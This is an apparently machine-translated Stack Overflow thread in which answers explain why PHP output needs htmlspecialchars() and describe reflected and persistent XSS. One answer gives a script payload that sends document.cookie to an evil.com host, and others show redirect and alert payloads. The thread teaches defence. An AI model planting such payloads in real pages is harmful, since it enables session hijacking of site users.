【问题标题】:Is this much escaping necessary?这么多的逃避是必要的吗?
【发布时间】:2012-03-27 16:38:29
【问题描述】:

我在看php.net manual,它有这行代码:

Hi <?php echo htmlspecialchars($_POST['name']); ?>.
You are <?php echo (int)$_POST['age']; ?> years old.

下面写着:

htmlspecialchars() 确保 html 中的任何特殊字符都被正确编码,因此人们无法将 HTML 标记或 Javascript 注入您的页面。

真的有必要吗?

真的有人可以在这一行中放入恶意代码吗?有什么好担心的?可以在该行中注入一些东西来运行一些 php 代码吗?即使在这种情况下没有威胁,他们是否只是让人们习惯于观察这一点?

【问题讨论】:

  • 是的。即使没有安全问题(有,请参阅答案),如果由于有人输入了恰好包含 HTML 标记中使用的某些字符的完美数据而导致分页(或静默删除部分输入),也会非常烦人.
  • 我以为你给htmlspecialcharacters打了两次电话
  • 在编写 Web 应用程序时,一个好的经验法则是从不信任用户输入。

标签: php security code-injection


【解决方案1】:

如果某人的名字恰好是:

<script>document.write('<img src="http://www.evil.com/worm.php?'+document.cookie+'"/>');</script>

然后蠕虫可能会在您的网站上释放。本质上,蠕虫只是一个脚本,它获取用户会话 cookie,登录,然后执行恶意操作,并在更多人查看时复制自身。

【讨论】:

  • cookie 窃取的好例子。 +1。
【解决方案2】:

是的,这是必要的。有关cross-site scripting vulnerabilities 的信息,请参阅维基百科。

无法使用 XSS 运行 PHP,但攻击者可以窃取会话 cookie。例如,如果该会话 cookie 用于 CMS 上的管理员,则可能是灾难性的。

【讨论】:

  • 在这种情况下,到底是什么让这种情况发生?如果他输入类似'; phpinfo(); '
  • 不,他会放入 JavaScript 代码,该代码发出请求,将用户的 document.cookie 值传递给第三方服务器。正如我所说,PHP 不能通过这种漏洞运行(除非你是 evaling $_POST 变量或其他东西)。
  • @ceejayoz evaling 用户输入...现在这总是一个绝妙的主意!
  • @NullUserException 我已经看到它发生了。可怕的时刻!我也看到了大量使用未转义、未验证的 POST 数据的 include() 调用(即 include($_POST['page'] . '.php');
  • @qwertymk 1. 谁在乎?对网站及其用户的危险已经够严重了。为什么要偷懒? 2. 可能,如果 XSS 允许用户获得对您网站的管理员访问权限。如果您不阻止 XSS,您可能还有其他安全漏洞可供他们享用。
【解决方案3】:

这不仅仅是为了安全。例如,如果您将Fred&amp;Jen 接收为$_POST['name'],这将使 XML 文档无效。

【讨论】:

    【解决方案4】:

    这里的威胁是XSS。这是攻击者尝试使用 XSS 攻击执行的 Javascript 代码。

    要自己查看,请删除 htmlspecialchars(),然后将其发布为 name

    <script>alert('xss')</script>
    

    您会看到您的 PHP 代码会将其打印出来,并且浏览器将执行 Javascript。 最常见的 XSS 攻击是针对用户已登录会话的 Web 应用程序。成功的 XSS 攻击可以使用 document.cookie 读取受害者的会话 ID cookie,然后将其发送到攻击者网站,攻击者可以在该网站上进行会话劫持。

    这种攻击称为反射型 XSS。更严重的 XSS 类型是 持久性 XSS,例如,您可以将输入存储到数据库中,然后将其打印在主页或任何其他页面上供所有用户查看。持久性 XSS 的危害要大得多,因为 XSS 持续存在的页面的任何访问者都可能受到攻击,而无需实际为每个受害者重新发起攻击。

    【讨论】:

      【解决方案5】:

      如果您只想打印同一用户发布的内容,它们不会对您或其他用户造成太大伤害。然而,它还是很有用的,因为用户可能会使用“>”和“

      但是,如果您要显示其他用户提交的内容,这将变得更加危险。

      用户可以注入任何东西,从指向其他网站的链接到 javascript。

      <script>window.location = 'http://www.evilsite.com';</script>
      

      所有访问显示该用户提交内容的站点的用户都将被重定向到 evilsite。

      【讨论】:

      • 你是说反射型 XSS 不会造成任何伤害?有很多方法可以利用反射型 XSS,只是因为它不是持久性 XSS,并不意味着它是无懈可击的。
      【解决方案6】:

      是的,例如,有人可能会注入一些 Javascript 代码,这些代码在显示时会将它们重定向到另一个站点(这是相当无害的)。

      示例:

      <script type="text/javascript">
      window.location = "http://www.google.com/"
      </script>
      

      如果要发布而不被转义,会将用户重定向到谷歌

      【讨论】:

        【解决方案7】:

        无法将 PHP 代码注入该字段,因为 PHP 解释器不会对其进行评估,但它确实引入了跨站点脚本的可能性。

        您可以使用以下方法对此进行测试:

        <form action="" method="POST">
        <input type="text" name="name"/>
        <input type="submit"/>
        </form>
        
        <?php
        if(isset($_POST['name'])){?>
            Hi <?php echo htmlspecialchars($_POST['name']); ?>.
        <?php}?>
        

        然后在“名称”字段中,提交这段代码,看看会发生什么:

        <script type="text/javascript">alert("P0WN3D");</script>
        

        【讨论】:

          【解决方案8】:

          真的有人可以在这一行中放入恶意代码吗?
          是的。

          【讨论】:

          • 虽然很有趣,但这是一个 SQL 注入,我问的不是这个
          • 您的问题与客户端漏洞有关。另一方面,这里学到的教训是相同的:永远不要渲染未经处理的输入。不管是客户端、服务器端、SQL、HTML、PHP、Perl 等等。如果您编写的代码接受来自不受信任来源的输入,请不要直接呈现输入。
          猜你喜欢
          • 2019-09-26
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2010-09-05
          相关资源
          最近更新 更多